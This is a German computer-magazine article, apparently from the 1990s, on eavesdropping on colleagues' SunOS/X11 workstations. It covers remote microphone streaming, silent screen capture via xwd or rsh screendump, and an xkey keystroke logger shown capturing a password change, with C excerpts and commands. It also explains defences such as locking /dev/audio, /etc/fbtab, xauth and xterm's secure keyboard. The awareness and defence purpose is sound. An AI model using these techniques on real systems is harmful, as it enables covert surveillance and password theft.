Der große Lauschangriff

Hans-Peter Bischof, Universität Osnabrück

Während in Bonn noch über den "großen Lauschangriff" diskutiert wird, zeigen wir Ihnen schon einmal, wie Sie mit ganz einfachen Mitteln erfahren, was im Büro Ihrer Kollegen über Sie geredet wird und mit welchen Kommandos Ihre Kollegen so phantastische Ergebnisse erzielen. Ihren Kollegen erzählen wir, wie man sich gegen solche Angriffe schützt. Um unseren Spionagedienst in Bewegung setzen zu können, benötigen wir einen Rechner, der mit einem Mikrofon inklusive Lautsprecher ausgestattet ist und auf dem mit X gearbeitet wird.

Abbildung 1: Konfiguration

Dem Artikel liegt die in Abbildung 1 dargestellte Konfiguration zugrunde. Die beiden Sparc's 10, gogol und bond, werden noch mit SunOS 4.1.3 und mit X11 Release 5 vom MIT betrieben. Eine Voraussetzung für ein Abhören ist, daß sich unser "Spion" -- Mein Name ist Bond, James Bond ...-- auf beiden Rechnern anmelden kann.

Akustik

Die Idee ist ganz simpel: man meldet sich auf bond an und startet auf gogol einen Prozeß, der das Mikrofon öffnet und damit Umgebungsgeräusche aufnimmt. Der entstehende Datenstrom wird über den Lautsprecher von bond ausgegeben, und man hört, was in der Umgebung von gogol gesprochen wird. Als Shellkommando: bond% on gogol rec | play Es spielt hierbei keine Rolle, ob jemand an dem Rechner arbeitet oder nicht.

Da die Mikrofone an den Sparc's mit einem Ein-/Ausschalter versehen sind, sollte man sich vorher noch vergewissern, daß das Mikrofon eingeschaltet ist. Diese Technik funktioniert auch unter anderen Hardware-Voraussetzungen. Falls das Mikrofon durch Software ein-/ausgeschaltet wird und dazu noch eingebaut ist, wie z.B. an einer NeXT, geht's noch unauffälliger.

Lauschen

Aus Sicht eines Programms ist ein Mikrofon ein Gerät, das mit open geöffnet und von dem dann mit read gelesen wird. Der zentrale Teil des Hauptprogramms ist in Abbildung 2 dargestellt.

   1     ...
   2    ofd = fileno(stdout);
   3    Audio_fd = open_audio_dev();
   4    write_audio_header(ofd);
   5
   6    fcntl(Audio_fd, F_SETFL, fcntl(Audio_fd, F_GETFL, 0) | O_NDELAY);
   7
   8    while (TRUE) {
   9            cnt = read(Audio_fd, (char *)buf, sizeof (buf));
  10
  11            if ( ( write(ofd, (char *)buf, cnt) ) != cnt) {
  12                    Error(stderr, "%s: error writing ", prog);
  13                    clean_up();
  14                    exit(1);
  15            }
  16    }
  17     ...

Abbildung 2: Der zentrale Teil aus rec.c.

Das Gerät /dev/audio wird geöffnet (3); damit die Aufnahme korrekt wiedergegeben werden kann, muß die gerätespezifische Information des Aufnahmegeräts auf stdout geschrieben werden (4); Audio_fd wird auf no delay gesetzt (6). Die Endlosschleife (8-16) kopiert von Audio_fd nach stdout.

Der wesentliche Teil von play.c ist in Abbildung 3 dargestellt.

   1     ...
   2    ifd = fileno(stdin);
   3    Audio_fd =  open_audio_dev();
   4
   5    check_i_file(ifd, Audio_fd);
   6
   7    while ((cnt = read(ifd, (char *)buf, sizeof (buf))) >= 0) {
   8
   9            if ( write(Audio_fd, (char *)buf, cnt) != cnt) {
  10                    Error(stderr, "%s: output error", prog);
  11                    perror("RIP");
  12                    break;
  13            }
  14            if (cnt == 0)
  15                    break;
  16            else if (cnt < 0) {
  17                    Error(stderr, "%s: write failed", prog);
  18                    exit(1);
  19            }
  20    }
  21    clean_up();
  22     ...

Abbildung 3: Der zentrale Teil aus play.c.

Das Ausgabegerät wird geöffnet (3); es wird sichergestellt, daß der Eingabestrom eine audio-Datei enthält (5); die Schleife (7-20) kopiert die Daten von ifd nach Audio_fd.

Das Abspielen geht auch, ohne daß man ein eigenes Programm schreibt: cat audio_ > /dev/audio. Dieser Aufruf setzt allerdings voraus, daß audio_ eine Audio-Datei ist, und man somit auf eine Verifikation (5) verzichten kann.

Ohropax

Ein normaler Benutzer kann dies nur verhindern, indem er den Zugriff auf das Mikrofon unterbindet.

In dieser Konfiguration geht dies z.B., indem man sich vergewissert, daß das Mikrofon ausgeschaltet ist.

Soll sichergestellt werden, daß das Mikrofon unabhängig vom Einschaltzustand nicht zum Abhören benutzt werden kann, müssen die Zugriffsrechte von /dev/audio während des boot-Vorgangs mit chmod 000 /dev/audio gesetzt werden. Dies sollte in einer rc-Datei geschehen.

Daduch ist aber ausgeschlossen, daß ein normaler Nutzer das Mikrofon benutzen kann, denn das Gerät ist zum Lesen gesperrt. In diesem Fall müßte der Systemadministrator ein zu mesg äquivalentes Kommando (audio) zur Verfügung stellen, welches einen Lese/Schreibzugriff auf /dev/audio ermöglicht. Um keine Sicherheitslücke zu hinterlassen, muß allerdings dafür gesorgt werden, daß

Unter SunOS 4.1.3 und Solaris 2.3 ist das Problem einfach zu lösen. Mittels /etc/fbtab bzw. /etc/logindevperm kann gesteuert werden, wie die Zugriffsberechtigungen von Dateien bzw. Katalogen nach einem login eingestellt werden. Der Eintrag /dev/console 000 /dev/audio impliziert, daß nach einer Anmeldung an der Konsole /dev/audio mit den Zugriffsrechten 000 versehen wird und login_uid.login_gid gehört. Nach dem Abmelden gehört die Datei root.wheel und hat die Zugriffsberechtigungen 000.

Optik

Es mag ja ganz interessant sein, fremden Gesprächen zu lauschen, aber noch interessanter ist es, zu sehen, wie Ihre Kollegen arbeiten. Diese Information kann man prinzipiell auf zwei Arten gewinnen. Erstens: Sie werfen einen Blick auf den Monitor Ihres Kollegen. Damit das Opfer ahnungslos bleibt, fertigen Sie zu diesem Zweck einen Bildschirmabzug an -- diesen können Sie dann in aller Ruhe analysieren.

Zweitens: Sie sehen Ihrem Kollegen auf die Finger. Somit erfahren Sie noch so ganz nebenbei das Paßwort des Opfers. Es ist natürlich nicht praktikabel, das Opfer mit Stielaugen zu betrachen und so an das Objekt der Begierde zu gelangen. Das geht mit einem kleinen Programm viel besser, welches die gedrückten Tasten in Klartext liefert.

Bildschirm

xwd fertigt problemlos einen Bildschirmabzug an. Falls das Opfer an gogol arbeitet und Sie an bond angemeldet sind, genügt:

bond% xwd -display gogol:0\
-root > x bond% xwud -in  x

Es gibt allerdings noch ein kleines Problem: xwd gibt auf gogol ein akustisches Signal aus, wenn es einen Bildschirmabzug anfertigt. Kein Problem: Besorgen Sie sich die Quellen von xwd und eliminieren Sie die XBell-Anweisungen. Dies hilft, weil nicht der X-Server, sondern xwd den Anwender informiert.

Es gibt leider ganz mißtrauische Menschen auf dieser Welt, die dafür sorgen, daß ihr X-Server von Ihnen nicht mitbenutzt werden darf. Falls Ihr Opfer derart mißtrauisch ist und auf einer Sun arbeitet, gibt's dann doch noch eine Lösung: Anstatt den X-Server anzuzapfen, lesen wir direkt den Bildschirmspeicher aus. Dies geht allerdings nur, wenn Sie sich auf dem Rechner des Opfers anmelden können:

bond% rsh gogol \
      screendump > x
bond% xloadimage -name x

Tastatur

Nachdem wir nun an die sichtbaren Zeichen kommen, wollen wir auch noch die unsichtbaren, aber eingetippten Zeichen sehen. Dies hilft ungemein, wenn man an fremde Paßworte kommen möchte.

Dominic Giampaolo hat xkey implementiert. Aktiviert man dieses Kommando, werden alle Tastendrücke in Klarschrift übersetzt. Ein Beispiel für die Anwendung von xkey ist in Abbildung 4 zu sehen.

gogol                                   bond
gogol% 167                              bond% xkey
gogol% 167                              Lookup ... done ...
gogol% 167 yppasswd                     yppasswd
Changing yp password for bischof        Das alte Passwort
Old yp password:                        Geht Euch gar nichts an
New password:                           Geht Euch gar nichts an
Retype new password:                    ls
yellow pages passwd changed on dosuni
gogol% 168 ls

Abbildung 4: xkey im Einsatz

Gäbe es xkey nicht schon, wäre es kein Problem, das Programm zu implementieren.

   1     ...
   2    /*
   3     * Keyboard \(em\(em\(em> KeyCode \(em\(em> XLookupString
   4     * \(em\(em> XKeysymToString \(em\(em> printf               */
   5    char *TranslateKeyCode(XEvent *ev)
   6    {
   7     ...
   8    }
   9
  10    /*
  11     * Get KeyPressEvents from all existing windows.
  12     */
  13    void snoop_all_windows(Window root, unsigned long type)
  14    {
  15     ...
  16            XSelectInput(d, root, type);
  17            for(i=0; i < nchildren; i++)
  18            {
  19                    XSelectInput(d, children[i], type);
  20                    snoop_all_windows(children[i], type);
  21            }
  22            XFree((char *)children);
  23    }
  24
  25
  26    void main(int argc, char **argv)
  27    {
  28     ...
  29            printf("Lookup ... "); fflush(stdout);
  30            snoop_all_windows(DefaultRootWindow(d), KeyPressMask);
  31            printf("done ...\n");
  32
  33            while(1) {
  34
  35                    XNextEvent(d, &xev);
  36                    if ( ( string = TranslateKeyCode(&xev) ) == NULL )
  37                            continue;
  38
  39                    if (*string == '\r')
  40                            printf("\n");
  41                    else if (strlen(string) == 1)
  42                            printf("%s", string);
  43                    else
  44                            printf("<%s>", string);
  45
  46                    fflush(stdout);
  47            }
  48    }
  49     ...

Abbildung 5: Der zentrale Teil aus xkey.c.

Abbildung 5 zeigt die wesentlichen Stellen. Zuerst sorgt man dafür, daß xkey zusätzlich jeden KeyPress-Event erhält, der in irgendeinem aktuell existenten Fenster ankommt (13-23 und 30). In einer Endlos-Schleife (33-47) werden die ankommenden Events abgeschöpft, der Klartext bestimmt (36) und ausgegeben (39-46).

Augendämpfer

Es ist nicht ganz einfach, X in ein sicheres Fenstersystem zu verwandeln. Es gibt vier Schutzmechanismen.

Man kann zwar mit xhost bzw. /etc/Xn.hosts Zugriff von einem fremden auf den eigenen Rechner kontrollieren. Erlaubt man jedoch einen Zugriff, können alle Benutzer von dem fremden Rechner mit dem X-Server, der auf dem eigenen Rechner aktiv ist, Kontakt aufnehmen. Will man auf gogol eine Applikation ausgeben, die auf bond abläuft, kann man mit gogol% xhost +bond dafür sorgen, daß dies möglich ist. Gleichzeitig hat man aber für alle Bösewichte das Tor für die Anwendung von xwd und xkey weit geöffnet.

Mit xauth bzw. via X Display Manager Control Protocol (XDMCP) kann der Zugriff auf den X-Server des lokalen Rechners auf das Tupel (Rechnername, Benutzer) eingeschränkt werden. Damit kann man beispielsweise eigene Applikationen von fremden Rechnern aus auf dem eigenen X-Server ausgeben lassen, doch anderen Benutzern ist diese Möglichkeit verwehrt. Die Darstellung der Benutzung dieser Mechanismen würde den Rahmen dieses Artikels bei weitem übersteigen. Diese Mechanismen werden in einem weiteren Artikel beleuchtet.

xterm kann von sich aus verhindern, daß KeyPress-Events, welche es bekommt, noch an andere Applikationen weitergeleitet werden. Diese secure keyboard-Option kann man über das xterm-Hauptmenü (CTRL & die zweite Maustaste) einschalten; xkey kann dann nicht mehr zum Einsatz kommen.

Wird secure keyboard eingeschaltet, sorgt xterm dafür, daß das entsprechende Fenster exklusiven Zugriff auf die Tastatur hat (GrabKeyboard() protocol request). Daraus folgt, daß Tastatureingaben in andere Fenster nicht möglich sind, so lange secure keyboard aufrecht erhalten wird.

Man sollte nicht vergessen, via /etc/fbtab den unerlaubten Zugriff auf /dev/fb zu verhindern, denn sonst besteht die Gefahr, daß ein ganz dreister Zeitgenosse sich gar nicht um die X-Sicherheitsmechanismen kümmert und sich ganz unelegant via screendump einen Bildschirmabzug besorgt.

Zusammenfassung

Als ich die Resultate, die man mit rec & play, xwd und xkey erreichen kann, den verschiedenen Netzbetreibern so im Vorbeigehen erzählt habe, war die Reaktion i.a.R. immer gleich: "Ooh, so einfach geht das, daran habe ich noch nicht gedacht."

Dieser Artikel sollte aufzeigen, was man mit ganz einfachen Mitteln erfahren kann und zum Nachdenken anregen, ob man dieses zulassen will oder nicht.

Natürlich kann man Lautsprecher und Mikrofon auch sinnvoll nutzen; Applikationen wie talk, voice mail oder CB (für NeXT) demonstrieren dies eindrucksvoll.

Die Quellen zu rec, play, xwd xkey sind auf ftp.informatik.uni-osnabrueck.de unter /pub/local/hanser/um-94.1 zu finden.